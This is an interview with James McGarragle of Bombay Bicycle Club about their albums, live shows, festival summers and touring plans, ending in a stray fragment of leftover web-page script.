Bombay Bicycle Club Interview – James McGarragle (With Video)

Playing the Barrowlands is seen as the highest accolade for a Glasgow band. What was the first gig that you felt like you had made it, your Barrowlands?

For us is it was the Kentish Town Forum in London, which is down the road from where I grew up. That was where the first ever gig I went to was (BRMC) and it has a place in my heart, we played there last year.

Your second album Flaws, which was all acoustic, was a total change from your previous record. People almost didn’t know what to expect live, did you cater for this live?

It became very confusing. We had just put out an acoustic record and much to our surprise a lot of people were turning up to see an acoustic show. Which I guess is fair enough but for us it was just a side project. We never thought we’d tour it for years, we done one small tour and that was it, it was done.

On the new album you return to your original ‘electric’ set up, does it now feel that you can do a lot more when playing live?

Do feel you can now play about with the set with all these new songs?

Yeah. We’ve had to re think it all but it’s been fun. For us this is just the first time we’ve felt like we’re putting on a big show. We’ve always just been about the songs and things can’t go wrong, we don’t have any lights, it’s just us playing. At the other end of the spectrum I like seeing a big show and we’ve pulled out all the stops with this one.

I Had the Blues But I Shook Them Loose sounded very organic, the new album seems a lot bigger and atmospheric, was this the plan?

We wanted to be a bit more textured. We’re older now and it’s more interesting for us. It may not be as intimate but it was something we wanted to explore.

Folk Singer, Lucy Rose is heavily involved in this record and done some work with you on ‘Flaws’ was this a natural progression?

Around the time I was writing Flaws I was introduced to her. I thought we’ll try it out to see if it sounds nice and our voices worked really well together. She has a very dreamy voice.


There is a lot of new sounds on the album, did you use a lot of new gear etc?

You should see Jamie’s pedal board, it’s definitely expanded (grins). I’m still using the same set up. I think it’s all just part of me wanting to explore different things. I’m getting more into producing and sampling.

With the new bigger sounding songs, did the writing process change?

That was the big difference writing the new songs, they started out on a computer, with something there rather than just sitting with a guitar. That’s probably why they have all these new textures. I was having fun playing around with the production side of things.


You had a pretty crazy festival of summers. Glasto, Benicassim, Leeds and Ibiza Rocks, to name a few.  Was it a case of jetting in and jetting out?

It was every weekend pretty much. It depends what you’ve got going on, if we’ve got free time then we stay. Now we’re doing the bigger slots at night you get a bit more nervous and can’t really go out the night before. Last year at Glastonbury we got there on the Wednesday and left on the Sunday. We partied pretty hard but then we realised the set might not have been as good as it could have been (laughs).

What was your festival highlight?

I think Benicassim and Latitude. It was like the first time we’d been playing at night time which makes such a big difference for us because you’ve got the atmosphere there.

You went straight from school into a ‘career’ as a musician? Did you have plans for university?

I had a place In Manchester University that I had to turn down, I was going to study French. I still get to go to Manchester to see my girlfriend. It’s just great to get out of London, it’s like you’re in such a bubble down there, it’s good to see more of the country.You are now on to your third album, you’re clearly doing something right. Do you feel this is what you were meant to do?

Yeah, so far it’s just felt very natural. It’s risky when bands suddenly get huge in a matter of months. For us it has taken six years and we’ve been really patient about it.

What are your plans for the rest of the year?

We’ve literally got the next six months booked up. We’re going to all these sort of places and it’s just a dream really. After this we’re going to Brazil which is unbelievable!  We went there last year and I came back thinking why doesn’t everyone live here? It’s just beautiful.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;